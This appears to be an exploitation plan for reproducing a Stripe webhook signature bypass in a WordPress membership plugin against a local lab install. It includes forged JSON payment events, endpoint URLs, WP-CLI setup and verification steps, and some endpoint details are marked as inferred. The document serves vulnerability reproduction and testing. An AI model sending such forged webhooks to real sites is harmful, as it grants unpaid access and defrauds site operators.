Exploitation Research Plan: CVE-2026-1461 (Simple Membership Stripe Webhook Bypass)

1. Vulnerability Summary

The Simple Membership plugin (<= 4.7.0) contains a logic flaw in its Stripe webhook handler. The plugin is designed to verify Stripe webhook signatures using a "Webhook Signing Secret." However, if this secret is not configured in the settings (which is the default state), the plugin skips signature verification entirely. This allows an unauthenticated attacker to send forged JSON payloads to the webhook endpoint, mimicking legitimate Stripe events (like successful payments or subscription renewals) to manipulate membership statuses.

2. Attack Vector Analysis

• Endpoint: The webhook listener is typically triggered via a specific query parameter or a direct file access, depending on the plugin configuration. The primary entry point is through swpm-stripe-subscription-webhook.php.
• URL: http://<target>/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.php or http://<target>/?swpm_process_stripe_webhook=1 (inferred based on standard plugin patterns).
• HTTP Method: POST
• Payload Type: application/json
• Authentication: None required (Unauthenticated).
• Preconditions: The stripe-webhook-signing-secret option in Simple Membership settings must be empty (default).

3. Code Flow

1. Entry Point: The plugin registers a listener for Stripe webhooks. In classes/class.swpm-access-control.php or via an init hook in the main plugin file, it checks for the presence of specific GET/POST parameters.
2. Webhook Initialization: The request reaches the Stripe webhook handler (likely ipn/swpm-stripe-subscription-webhook.php).
3. Secret Check: The code retrieves the signing secret:

   $settings = SwpmSettings::get_instance();
   $signing_secret = $settings->get_value('stripe-webhook-signing-secret');
   

4. Vulnerable Logic:
   If $signing_secret is empty, the code proceeds to decode the raw POST body using json_decode(file_get_contents('php://input')) without calling \Stripe\Webhook::constructEvent().
5. Processing: The forged event (e.g., invoice.payment_succeeded) is parsed. The plugin looks up the member using the customer ID or email provided in the JSON and updates their membership_level and account_state to "active".

4. Nonce Acquisition Strategy

No nonce is required.
Stripe webhooks are designed to be called by Stripe's servers; therefore, they do not use WordPress nonces. They rely on the X-Stripe-Signature header, which this vulnerability bypasses.

5. Exploitation Strategy

Step 1: Identify Target Member

Identify the email or Stripe Customer ID of an expired or "pending" member you wish to reactivate.

Step 2: Craft Forged Stripe Webhook

Create a JSON payload representing a successful payment for a subscription.

Payload (payload.json):

{
  "id": "evt_test_forgery",
  "object": "event",
  "type": "invoice.payment_succeeded",
  "data": {
    "object": {
      "customer": "cus_test_victim",
      "customer_email": "victim@example.com",
      "subscription": "sub_test_active",
      "lines": {
        "data": [
          {
            "plan": {
              "id": "gold_plan_id"
            }
          }
        ]
      }
    }
  }
}

Step 3: Execute Request

Send the POST request to the webhook endpoint using the http_request tool.

Request Details:

• URL: http://localhost:8080/?swpm_process_stripe_webhook=1
• Method: POST
• Headers: Content-Type: application/json
• Body: (The JSON above)

6. Test Data Setup

1. Install Plugin: wp plugin install simple-membership --activate
2. Create Membership Level:
   wp eval "SwpmMembershipLevel::create(array('alias' => 'Premium', 'role' => 'subscriber'));"
3. Create Expired Member:
   • Create a user: wp user create victim victim@example.com --role=subscriber
   • Map to Simple Membership:

     wp eval "$member = SwpmMember::create(array('user_name' => 'victim', 'email' => 'victim@example.com', 'membership_level' => 2, 'account_state' => 'expired'));"
     

4. Ensure Secret is Empty:
   wp option get swpm_settings (Verify stripe-webhook-signing-secret is blank).

7. Expected Results

• The plugin should return a 200 OK status.
• Internally, the plugin's IPN logger (if enabled) will show a payment processed for victim@example.com.
• The member's status in the wp_swpm_members_tbl (and corresponding user meta) will change from expired to active.

8. Verification Steps

Check the member status via WP-CLI:

# Check the account state in the Simple Membership table
wp db query "SELECT account_state FROM wp_swpm_members_tbl WHERE email='victim@example.com'"

The output should be active.

9. Alternative Approaches

If invoice.payment_succeeded fails to trigger the activation, try the customer.subscription.updated event:

Alternative Payload:

{
  "id": "evt_test_update",
  "object": "event",
  "type": "customer.subscription.updated",
  "data": {
    "object": {
      "customer": "cus_test_victim",
      "status": "active",
      "items": {
        "data": [{"plan": {"id": "gold_plan_id"}}]
      }
    }
  }
}

Direct Endpoint Check:
If the query parameter ?swpm_process_stripe_webhook=1 is not responsive, try the direct file path:
http://localhost:8080/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.php